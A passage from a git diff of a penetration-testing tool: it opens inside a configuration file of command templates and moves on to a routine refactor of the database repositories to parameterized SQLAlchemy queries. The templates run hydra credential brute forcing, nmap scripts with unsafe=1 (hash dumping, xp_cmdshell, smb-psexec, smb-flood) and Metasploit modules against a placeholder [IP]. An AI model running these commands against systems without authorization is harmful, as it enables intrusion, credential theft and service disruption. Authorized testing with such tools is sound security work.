-p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql -ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql -mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt,https-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", oracle-tns -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -ssh-default=Check for default ssh credentials, hydra -s [PORT] -C ./wordlists/ssh-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -ssh-default-root=Check for default ssh root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -ssh-default-router=Check for default ssh router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" -telnet-default=Check for default telnet credentials, hydra -s [PORT] -C ./wordlists/telnet-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -telnet-default-root=Check for default telnet root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -telnet-default-router=Check for default telnet router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-default=Check for default VNC credentials, hydra -s [PORT] -C ./wordlists/vnc-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] vnc, vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,https-alt" -wpscan=Run wpscan, wpscan --url [IP], "http,https,ssl,https-alt" - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], [term] ftp -mssql=Open with mssql client (as sa), [term] python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "[term] mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, [term] nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), [term] psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, [term] rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, [term] rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), [term] rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], [term] shell -ssh=Open with ssh client (as root), [term] ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, [term] telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, [term] Xephyr -query [IP] :1, xdmcp -xterm=Open terminal, [term] bash, - -[SchedulerSettings] -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp -ftp-default=ftp, tcp -mssql-default=ms-sql-s, tcp -mysql-default=mysql, tcp -oracle-default=oracle-tns, tcp -postgres-default=postgresql, tcp -x11screen=X11, tcp - -[StagedNmapSettings] -stage1-ports="T:80,88,443,4443,8080,8081,8082" -stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage4-ports="T:1-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-65535" -stage5-ports="U:1-65535" -stage6-ports="Vulners,CVE" - -[ToolSettings] -cutycapt-path=/usr/bin/cutycapt -hydra-path=/usr/bin/hydra -nmap-path=/sbin/nmap -pyshodan-api-key=YourKeyGoesHere -texteditor-path=/usr/bin/leafpad diff --git a/db/SqliteDbAdapter.py b/db/SqliteDbAdapter.py index c3fdf4cd..21f22052 100644 --- a/db/SqliteDbAdapter.py +++ b/db/SqliteDbAdapter.py @@ -49,7 +49,7 @@ def establishSqliteConnection(self, dbFileName: str): self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db self.engine = create_engine( 'sqlite:///{dbFileName}'.format(dbFileName=dbFileName)) - self.session = scoped_session(sessionmaker()) + self.session = scoped_session(sessionmaker(bind=self.engine)) self.session.configure(bind=self.engine, autoflush=False) self.metadata = self.base.metadata self.metadata.create_all(self.engine) @@ -62,7 +62,7 @@ def commit(self): self.log.debug("DB lock acquired") try: session = self.session() - rnd = float(randint(1, 99)) / 100.00 + rnd = float(randint(1, 99)) / 1000.00 self.log.debug("Waiting {0}s before commit...".format(str(rnd))) time.sleep(rnd) session.commit() @@ -79,4 +79,4 @@ def commit(self): self.log.error(str(e)) pass self.dbsemaphore.release() - self.log.debug("DB lock released") \ No newline at end of file + self.log.debug("DB lock released") diff --git a/db/filters.py b/db/filters.py index 7a3a38db..02fe0ef9 100644 --- a/db/filters.py +++ b/db/filters.py @@ -24,7 +24,6 @@ def applyFilters(filters): query_filter += applyPortFilters(filters) return query_filter - def applyHostsFilters(filters): query_filter = "" if not filters.down: @@ -39,7 +38,6 @@ def applyHostsFilters(filters): f" OR hosts.hostname LIKE '%{sanitise(word)}%')") return query_filter - def applyPortFilters(filters): query_filter = "" if not filters.portopen: diff --git a/db/postgresDbAdapter.py b/db/postgresDbAdapter.py index 8eab647c..c82393a5 100644 --- a/db/postgresDbAdapter.py +++ b/db/postgresDbAdapter.py @@ -71,7 +71,7 @@ def commit(self): self.log.debug("DB lock acquired") try: session = self.session() - rnd = float(randint(1, 99)) / 100.00 + rnd = float(randint(1, 99)) / 1000.00 self.log.debug("Waiting {0}s before commit...".format(str(rnd))) time.sleep(rnd) session.commit() diff --git a/db/repositories/CVERepository.py b/db/repositories/CVERepository.py index 0cff77bb..28baa5c7 100644 --- a/db/repositories/CVERepository.py +++ b/db/repositories/CVERepository.py @@ -15,6 +15,8 @@ Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ + +from sqlalchemy import text from db.SqliteDbAdapter import Database @@ -23,8 +25,11 @@ def __init__(self, dbAdapter: Database): self.dbAdapter = dbAdapter def getCVEsByHostIP(self, hostIP): - query = ('SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source, ' - 'cves.exploitId, cves.exploit, cves.exploitUrl FROM cve AS cves ' - 'INNER JOIN hostObj AS hosts ON hosts.id = cves.hostId ' - 'WHERE hosts.ip = ?') - return self.dbAdapter.metadata.bind.execute(query, str(hostIP)).fetchall() + session = self.dbAdapter.session() + query = text('SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source, ' + 'cves.exploitId, cves.exploit, cves.exploitUrl FROM cve AS cves ' + 'INNER JOIN hostObj AS hosts ON hosts.id = cves.hostId ' + 'WHERE hosts.ip = :hostIP') + result = session.execute(query, {'hostIP': str(hostIP)}).fetchall() + session.close() + return result diff --git a/db/repositories/HostRepository.py b/db/repositories/HostRepository.py index fd5d3f4c..b8d6f752 100644 --- a/db/repositories/HostRepository.py +++ b/db/repositories/HostRepository.py @@ -15,7 +15,9 @@ Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ + from app.auxiliary import Filters +from sqlalchemy import text from db.SqliteDbAdapter import Database from db.entities.host import hostObj from db.filters import applyFilters, applyHostsFilters @@ -26,34 +28,48 @@ def __init__(self, dbAdapter: Database): self.dbAdapter = dbAdapter def exists(self, host: str): - query = 'SELECT host.ip FROM hostObj AS host WHERE host.ip == ? OR host.hostname == ?' - result = self.dbAdapter.metadata.bind.execute(query, str(host), str(host)).fetchall() + session = self.dbAdapter.session() + query = text('SELECT host.ip FROM hostObj AS host WHERE host.ip == :host OR host.hostname == :host') + result = session.execute(query, {'host': str(host)}).fetchall() + session.close() return True if result else False def getHosts(self, filters): + session = self.dbAdapter.session() query = 'SELECT * FROM hostObj AS hosts WHERE 1=1' query += applyHostsFilters(filters) - return self.dbAdapter.metadata.bind.execute(query).fetchall() + query = text(query) + result = session.execute(query).fetchall() + session.close() + return result def getHostsAndPortsByServiceName(self, service_name, filters: Filters): + session = self.dbAdapter.session() query = ("SELECT hosts.ip,ports.portId,ports.protocol,ports.state,ports.hostId,ports.serviceId," "services.name,services.product,services.version,services.extrainfo,services.fingerprint " - "FROM portObj AS ports " + - "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + - "LEFT OUTER JOIN serviceObj AS services ON services.id=ports.serviceId " + - "WHERE services.name=?") + "FROM portObj AS ports " + "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + "LEFT OUTER JOIN serviceObj AS services ON services.id=ports.serviceId " + "WHERE services.name=:service_name") query += applyFilters(filters) - return self.dbAdapter.metadata.bind.execute(query, str(service_name)).fetchall() + query = text(query) + result = session.execute(query, {'service_name': str(service_name)}).fetchall() + session.close() + return result def getHostInformation(self, host_ip_address: str): session = self.dbAdapter.session() - return session.query(hostObj).filter_by(ip=str(host_ip_address)).first() + result = session.query(hostObj).filter_by(ip=str(host_ip_address)).first() + session.close() + return result def deleteHost(self, hostIP): session = self.dbAdapter.session() - h = session.query(hostObj).filter_by(ip=str(hostIP)).first() - session.delete(h) - session.commit() + host = session.query(hostObj).filter_by(ip=str(hostIP)).first() + if host: + session.delete(host) + session.commit() + session.close() def toggleHostCheckStatus(self, ipAddress): session = self.dbAdapter.session() @@ -64,4 +80,5 @@ def toggleHostCheckStatus(self, ipAddress): else: host.checked = 'False' session.add(host) - self.dbAdapter.commit() + session.commit() + session.close() diff --git a/db/repositories/NoteRepository.py b/db/repositories/NoteRepository.py index cb25e1cd..e1c80fd8 100644 --- a/db/repositories/NoteRepository.py +++ b/db/repositories/NoteRepository.py @@ -15,6 +15,7 @@ Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ + from db.SqliteDbAdapter import Database from six import u as unicode @@ -27,9 +28,13 @@ def __init__(self, dbAdapter: Database, log): self.log = log def getNoteByHostId(self, hostId): - return self.dbAdapter.session().query(note).filter_by(hostId=str(hostId)).first() + session = self.dbAdapter.session() + result = session.query(note).filter_by(hostId=str(hostId)).first() + session.close() + return result def storeNotes(self, hostId, notes): + session = self.dbAdapter.session() if len(notes) == 0: notes = unicode("".format(hostId=hostId)) self.log.debug("Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) @@ -38,6 +43,6 @@ def storeNotes(self, hostId, notes): t_note.text = unicode(notes) else: t_note = note(hostId, unicode(notes)) - session = self.dbAdapter.session() session.add(t_note) - self.dbAdapter.commit() + session.commit() + session.close() diff --git a/db/repositories/PortRepository.py b/db/repositories/PortRepository.py index 654c5309..79508e8f 100644 --- a/db/repositories/PortRepository.py +++ b/db/repositories/PortRepository.py @@ -15,6 +15,8 @@ Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ + +from sqlalchemy import text from db.SqliteDbAdapter import Database from db.entities.l1script import l1ScriptObj from db.entities.port import portObj @@ -26,21 +28,31 @@ def __init__(self, dbAdapter: Database): self.dbAdapter = dbAdapter def getPortsByIPAndProtocol(self, host_ip, protocol): - query = ("SELECT ports.portId FROM portObj AS ports INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " - "WHERE hosts.ip = ? and ports.protocol = ?") - return self.dbAdapter.metadata.bind.execute(query, str(host_ip), str(protocol)).first() + session = self.dbAdapter.session() + query = text("SELECT ports.portId FROM portObj AS ports INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + "WHERE hosts.ip = :host_ip and ports.protocol = :protocol") + result = session.execute(query, {'host_ip': str(host_ip), 'protocol': str(protocol)}).first() + session.close() + return result def getPortStatesByHostId(self, host_id): - query = 'SELECT port.state FROM portObj as port WHERE port.hostId = ?' - return self.dbAdapter.metadata.bind.execute(query, str(host_id)).fetchall() + session = self.dbAdapter.session() + query = text('SELECT port.state FROM portObj as port WHERE port.hostId = :host_id') + result = session.execute(query, {'host_id': str(host_id)}).fetchall() + session.close() + return result def getPortsAndServicesByHostIP(self, host_ip, filters): + session = self.dbAdapter.session() query = ("SELECT hosts.ip, ports.portId, ports.protocol, ports.state, ports.hostId, ports.serviceId, " "services.name, services.product, services.version, services.extrainfo, services.fingerprint " "FROM portObj AS ports INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " - "LEFT OUTER JOIN serviceObj AS services ON services.id = ports.serviceId WHERE hosts.ip = ?") + "LEFT OUTER JOIN serviceObj AS services ON services.id = ports.serviceId WHERE hosts.ip = :host_ip") query += applyPortFilters(filters) - return self.dbAdapter.metadata.bind.execute(query, str(host_ip)).fetchall() + query = text(query) + result = session.execute(query, {'host_ip': str(host_ip)}).fetchall() + session.close() + return result # used to delete all port/script data related to a host - to overwrite portscan info with the latest scan def deleteAllPortsAndScriptsByHostId(self, hostID, protocol): @@ -56,3 +68,4 @@ def deleteAllPortsAndScriptsByHostId(self, hostID, protocol): for p in ports_for_host: session.delete(p) session.commit() + session.close() diff --git a/db/repositories/ProcessRepository.py b/db/repositories/ProcessRepository.py index fb5f1b79..e6dbe322 100644 --- a/db/repositories/ProcessRepository.py +++ b/db/repositories/ProcessRepository.py @@ -15,15 +15,18 @@ Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ + from typing import Union from six import u as unicode from app.timing import getTimestamp +from sqlalchemy import text from db.SqliteDbAdapter import Database from db.entities.process import process from db.entities.processOutput import process_output + class ProcessRepository: def __init__(self, dbAdapter: Database, log): self.dbAdapter = dbAdapter @@ -33,47 +36,49 @@ def 